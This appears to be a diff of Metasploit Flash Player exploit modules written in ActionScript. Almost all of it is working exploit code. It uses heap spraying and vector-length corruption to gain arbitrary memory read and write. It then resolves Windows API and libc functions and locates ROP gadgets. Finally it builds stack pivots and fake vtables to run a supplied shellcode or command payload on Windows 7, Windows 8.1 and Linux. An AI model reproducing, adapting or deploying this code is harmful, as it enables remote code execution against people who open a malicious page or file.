// Modified to be used from msf
|
|
||||||
package
|
|
||||||
{
|
|
||||||
import flash.display.Sprite
|
|
||||||
import flash.display.LoaderInfo
|
|
||||||
import flash.events.Event
|
|
||||||
import flash.utils.ByteArray
|
|
||||||
import flash.system.Worker
|
|
||||||
import flash.system.WorkerDomain
|
|
||||||
import flash.system.MessageChannel
|
|
||||||
import flash.system.ApplicationDomain
|
|
||||||
import avm2.intrinsics.memory.casi32
|
|
||||||
import mx.utils.Base64Decoder
|
|
||||||
|
|
||||||
public class Main extends Sprite
|
|
||||||
{
|
|
||||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
|
||||||
private var uv:Vector.<uint> = new Vector.<uint>
|
|
||||||
private var ba:ByteArray = new ByteArray()
|
|
||||||
private var worker:Worker
|
|
||||||
private var mc:MessageChannel
|
|
||||||
private var b64:Base64Decoder = new Base64Decoder()
|
|
||||||
private var payload:String = ""
|
|
||||||
|
|
||||||
public function Main()
|
|
||||||
{
|
|
||||||
if (Worker.current.isPrimordial) mainThread()
|
|
||||||
else workerThread()
|
|
||||||
}
|
|
||||||
|
|
||||||
private function mainThread():void
|
|
||||||
{
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
||||||
var pattern:RegExp = / /g;
|
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
|
||||||
b64.decode(b64_payload)
|
|
||||||
payload = b64.toByteArray().toString()
|
|
||||||
|
|
||||||
ba.length = 0x1000
|
|
||||||
ba.shareable = true
|
|
||||||
for (var i:uint = 0; i < ov.length; i++) {
|
|
||||||
ov[i] = new Vector.<Object>(1014)
|
|
||||||
ov[i][0] = ba
|
|
||||||
ov[i][1] = this
|
|
||||||
}
|
|
||||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
|
||||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
|
||||||
mc = worker.createMessageChannel(Worker.current)
|
|
||||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
|
||||||
worker.setSharedProperty("mc", mc)
|
|
||||||
worker.setSharedProperty("ba", ba)
|
|
||||||
ApplicationDomain.currentDomain.domainMemory = ba
|
|
||||||
worker.start()
|
|
||||||
}
|
|
||||||
|
|
||||||
private function workerThread():void
|
|
||||||
{
|
|
||||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
|
||||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
|
||||||
ba.clear()
|
|
||||||
ov[0] = new Vector.<uint>(1022)
|
|
||||||
mc.send("")
|
|
||||||
while (mc.messageAvailable);
|
|
||||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
|
||||||
ba.length = 0x500000
|
|
||||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
|
||||||
var main:uint = ov[0][0x409] - 1
|
|
||||||
var vtable:uint = vector_read(main)
|
|
||||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
|
||||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
|
||||||
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
|
||||||
}
|
|
||||||
|
|
||||||
private function onMessage(e:Event):void
|
|
||||||
{
|
|
||||||
casi32(0, 1022, 0xFFFFFFFF)
|
|
||||||
if (ba.length != 0xffffffff) mc.receive()
|
|
||||||
else {
|
|
||||||
ba.endian = "littleEndian"
|
|
||||||
var data:Array = (mc.receive() as String).split("/")
|
|
||||||
byte_write(parseInt(data[0]))
|
|
||||||
var buffer:uint = parseInt(data[1]) as uint
|
|
||||||
var main:uint = parseInt(data[2]) as uint
|
|
||||||
var vtable:uint = parseInt(data[3]) as uint
|
|
||||||
var flash:uint = base(vtable)
|
|
||||||
var ieshims:uint = module("winmm.dll", flash)
|
|
||||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
|
||||||
|
|
||||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
|
||||||
var winexec:uint = procedure("WinExec", kernel32)
|
|
||||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
|
||||||
|
|
||||||
//CoE
|
|
||||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
|
||||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
|
||||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
byte_write(buffer+0x200, payload);
|
|
||||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
|
||||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
|
||||||
byte_write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
byte_write(0, winexec)
|
|
||||||
byte_write(0, buffer + 0x30000)
|
|
||||||
byte_write(0, 0x1000)
|
|
||||||
byte_write(0, 0x40)
|
|
||||||
byte_write(0, buffer + 0x100)
|
|
||||||
|
|
||||||
// WinExec
|
|
||||||
byte_write(0, buffer + 0x30000)
|
|
||||||
byte_write(0, buffer + 0x200)
|
|
||||||
byte_write(0)
|
|
||||||
|
|
||||||
byte_write(main, buffer + 0x20000)
|
|
||||||
toString()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_write(addr:uint, value:uint = 0):void
|
|
||||||
{
|
|
||||||
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_read(addr:uint):uint
|
|
||||||
{
|
|
||||||
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
|
||||||
{
|
|
||||||
if (addr) ba.position = addr
|
|
||||||
if (value is String) {
|
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
|
||||||
if (zero) ba.writeByte(0)
|
|
||||||
} else ba.writeUnsignedInt(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
|
||||||
{
|
|
||||||
ba.position = addr
|
|
||||||
switch(type) {
|
|
||||||
case "dword":
|
|
||||||
return ba.readUnsignedInt()
|
|
||||||
case "word":
|
|
||||||
return ba.readUnsignedShort()
|
|
||||||
case "byte":
|
|
||||||
return ba.readUnsignedByte()
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function base(addr:uint):uint
|
|
||||||
{
|
|
||||||
addr &= 0xffff0000
|
|
||||||
while (true) {
|
|
||||||
if (byte_read(addr) == 0x00905a4d) return addr
|
|
||||||
addr -= 0x10000
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function module(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
|
||||||
while (true) {
|
|
||||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
|
||||||
if (!entry) throw new Error("FAIL!");
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
|
||||||
}
|
|
||||||
|
|
||||||
private function procedure(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
|
||||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
|
||||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
|
||||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
|
||||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
|
||||||
for (var i:uint = 0; ; i++) {
|
|
||||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
|
||||||
ba.position = addr + entry
|
|
||||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
|
||||||
{
|
|
||||||
var find:uint = 0
|
|
||||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
|
||||||
var value:uint = parseInt(gadget, 16)
|
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -28,33 +28,38 @@ package
|
||||||
private var interval_id:uint
|
private var interval_id:uint
|
||||||
private var trigger_swf:String
|
private var trigger_swf:String
|
||||||
private var b64:Base64Decoder = new Base64Decoder()
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
private var payload:String
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var original_length:uint = 0
|
||||||
|
|
||||||
public function Exploit()
|
public function Exploit()
|
||||||
{
|
{
|
||||||
var i:uint = 0
|
var i:uint = 0
|
||||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
|
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
var pattern:RegExp = / /g;
|
var pattern:RegExp = / /g;
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
b64.decode(b64_payload)
|
b64.decode(b64_payload)
|
||||||
payload = b64.toByteArray().toString()
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
if (platform == 'win') {
|
if (platform == 'win') {
|
||||||
|
original_length = 0x1e
|
||||||
for (i = 0; i < 89698; i = i + 1) {
|
for (i = 0; i < 89698; i = i + 1) {
|
||||||
spray[i] = new Vector.<uint>(1014)
|
spray[i] = new Vector.<uint>(1014)
|
||||||
spray[i][0] = 0xdeadbeef
|
spray[i][0] = 0xdeadbeef
|
||||||
spray[i][1] = 0xdeedbeef
|
spray[i][1] = 0xdeedbeef
|
||||||
spray[i][2] = i
|
spray[i][2] = i
|
||||||
spray[i][29] = 0x1a1e1429
|
spray[i][29] = 0x14951429
|
||||||
}
|
}
|
||||||
|
|
||||||
for(i = 0; i < 89698; i = i + 1) {
|
for(i = 0; i < 89698; i = i + 1) {
|
||||||
spray[i].length = 0x1e
|
spray[i].length = 0x1e
|
||||||
}
|
}
|
||||||
} else if (platform == 'linux') {
|
} else if (platform == 'linux') {
|
||||||
|
original_length = 1022
|
||||||
for (i = 0; i < 89698; i = i + 1) {
|
for (i = 0; i < 89698; i = i + 1) {
|
||||||
spray[i] = new Vector.<uint>(1022)
|
spray[i] = new Vector.<uint>(1022)
|
||||||
spray[i][0] = 0xdeadbeef
|
spray[i][0] = 0xdeadbeef
|
||||||
|
@ -97,9 +102,11 @@ package
|
||||||
for(var i:uint = 0; i < spray.length; i = i + 1) {
|
for(var i:uint = 0; i < spray.length; i = i + 1) {
|
||||||
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
|
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
|
||||||
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
|
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
|
||||||
spray[i][0x3ffffffe] = 0xffffffff
|
spray[i][1022] = 0xffffffff
|
||||||
spray[i][0x3fffffff] = spray[i][1023]
|
spray[i + 1][0x3ffffbff] = spray[i][1023]
|
||||||
uv = spray[i]
|
spray[i + 1][0x3ffffbfe] = original_length
|
||||||
|
uv = spray[i + 1]
|
||||||
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -113,8 +120,9 @@ package
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
exploiter = new Exploiter(this, platform, payload, uv)
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -31,7 +31,6 @@ package
|
||||||
|
|
||||||
public function lets_ready():void
|
public function lets_ready():void
|
||||||
{
|
{
|
||||||
Logger.log("[*] ExploitByteArray - lets_ready()")
|
|
||||||
ba.endian = "littleEndian"
|
ba.endian = "littleEndian"
|
||||||
if (platform == "linux") {
|
if (platform == "linux") {
|
||||||
ba.length = 0xffffffff
|
ba.length = 0xffffffff
|
||||||
|
@ -40,7 +39,6 @@ package
|
||||||
|
|
||||||
public function is_ready():Boolean
|
public function is_ready():Boolean
|
||||||
{
|
{
|
||||||
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
|
|
||||||
if (ba.length == 0xffffffff)
|
if (ba.length == 0xffffffff)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
@ -72,10 +70,15 @@ package
|
||||||
|
|
||||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
{
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
if (addr) ba.position = addr
|
if (addr) ba.position = addr
|
||||||
if (value is String) {
|
if (value is String) {
|
||||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
if (zero) ba.writeByte(0)
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
} else ba.writeUnsignedInt(value)
|
} else ba.writeUnsignedInt(value)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -9,8 +9,9 @@ package
|
||||||
private var exploit:Exploit
|
private var exploit:Exploit
|
||||||
private var ev:ExploitVector
|
private var ev:ExploitVector
|
||||||
private var eba:ExploitByteArray
|
private var eba:ExploitByteArray
|
||||||
private var payload:String
|
private var payload:ByteArray
|
||||||
private var platform:String
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
private var pos:uint
|
private var pos:uint
|
||||||
private var byte_array_object:uint
|
private var byte_array_object:uint
|
||||||
private var main:uint
|
private var main:uint
|
||||||
|
@ -25,11 +26,12 @@ package
|
||||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||||
|
|
||||||
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
{
|
{
|
||||||
exploit = exp
|
exploit = exp
|
||||||
payload = p
|
payload = p
|
||||||
platform = pl
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
ev = new ExploitVector(uv)
|
ev = new ExploitVector(uv)
|
||||||
if (!ev.is_ready()) return
|
if (!ev.is_ready()) return
|
||||||
|
@ -133,12 +135,19 @@ package
|
||||||
private function do_rop():void
|
private function do_rop():void
|
||||||
{
|
{
|
||||||
Logger.log("[*] Exploiter - do_rop()")
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
if (platform == "linux")
|
if (platform == "linux") {
|
||||||
do_rop_linux()
|
do_rop_linux()
|
||||||
else if (platform == "win")
|
} else if (platform == "win") {
|
||||||
do_rop_windows()
|
if (op_system == "Windows 8.1") {
|
||||||
else
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
return
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private function do_rop_windows():void
|
private function do_rop_windows():void
|
||||||
|
@ -147,11 +156,15 @@ package
|
||||||
var pe:PE = new PE(eba)
|
var pe:PE = new PE(eba)
|
||||||
var flash:uint = pe.base(vtable)
|
var flash:uint = pe.base(vtable)
|
||||||
var winmm:uint = pe.module("winmm.dll", flash)
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
var winexec:uint = pe.procedure("WinExec", kernel32)
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
// Continuation of execution
|
// Continuation of execution
|
||||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
@ -169,16 +182,101 @@ package
|
||||||
eba.write(0, virtualprotect)
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
// VirtualProtect
|
// VirtualProtect
|
||||||
eba.write(0, winexec)
|
eba.write(0, virtualalloc)
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, buffer + 0x10)
|
||||||
eba.write(0, 0x1000)
|
eba.write(0, 0x1000)
|
||||||
eba.write(0, 0x40)
|
eba.write(0, 0x40)
|
||||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
// WinExec
|
// VirtualAlloc
|
||||||
eba.write(0, buffer + 0x10)
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
eba.write(0, payload_address + 8)
|
eba.write(0, payload_address + 8)
|
||||||
eba.write(0)
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
exploit.toString() // call method in the fake vtable
|
exploit.toString() // call method in the fake vtable
|
||||||
|
@ -192,6 +290,8 @@ package
|
||||||
var libc:Elf = new Elf(eba, feof)
|
var libc:Elf = new Elf(eba, feof)
|
||||||
var popen:uint = libc.symbol("popen")
|
var popen:uint = libc.symbol("popen")
|
||||||
var mprotect:uint = libc.symbol("mprotect")
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
@ -204,9 +304,21 @@ package
|
||||||
// 2) Recover original stack
|
// 2) Recover original stack
|
||||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
// Put the popen parameters in memory
|
// Put the popen parameters in memory
|
||||||
eba.write(payload_address + 8, 'r', true) // type
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
eba.write(payload_address + 0xc, payload, true) // command
|
|
||||||
|
|
||||||
// Put the fake stack/vtable on memory
|
// Put the fake stack/vtable on memory
|
||||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
@ -221,13 +333,49 @@ package
|
||||||
eba.write(0, buffer) // addr
|
eba.write(0, buffer) // addr
|
||||||
eba.write(0, 0x1000) // size
|
eba.write(0, 0x1000) // size
|
